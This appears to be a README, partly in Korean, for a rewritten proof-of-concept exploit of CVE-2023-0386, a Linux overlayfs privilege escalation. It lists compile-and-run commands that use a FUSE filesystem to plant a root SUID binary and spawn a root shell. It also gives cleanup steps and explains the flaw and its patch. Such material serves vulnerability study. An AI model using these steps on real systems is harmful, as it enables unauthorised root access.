
Copy fake in-memory files to disk using overlayFS
원본 CVE 소스는 xkaneiki 작성: https://github.com/xkaneiki/CVE-2023-0386/tree/main
익스플로잇을 1개의 셸에서 실행할 수 있도록 다시 작성됨 (원래 익스플로잇은 2개의 셸 필요).
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
정리
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt를 사용하여 마운트된 파일 시스템 확인fuse.c는 /tmp/fusepwn/lower에 마운트된 fuse 파일 시스템을 생성하고 root 소유의 가짜 SUID 바이너리를 제공합니다. 이것은 인메모리 파일 시스템이므로 권한 설정에 대해 거짓말을 할 수 있습니다.
그런 다음 exp.c는 /tmp/fusepwn에 overlayfs 마운트를 생성하고 가짜 SUID 바이너리(/tmp/fusepwn/lower/bin)를 엽니다. 열리면 overlayfs가 copy-up을 수행하여 가짜 SUID 바이너리를 실제 SUID 권한과 root 소유로 디스크에 기록합니다.
취약점은 overlayfs가 하위 파일 시스템에서 제공하는 모든 파일 권한을 맹목적으로 신뢰한다는 점에 있습니다. 하위 파일 시스템이 커널이라면 괜찮습니다 (root 권한 없이 조작할 수 없기 때문). 하위 파일 시스템을 사용자가 조작할 수 있다면 문제가 됩니다. FUSE를 사용하는 것처럼 파일이 무엇인지 속일 수 있기 때문입니다.
패치는 파일의 UID/GID가 사용자의 네임스페이스 내에서 유효한지 확인합니다. 유효하지 않으면 copy-up이 실패합니다.
예:
proc/self/uid_map에서 1000(bob의 UID)을 0(root)으로 매핑하여 root로 새 네임스페이스를 생성합니다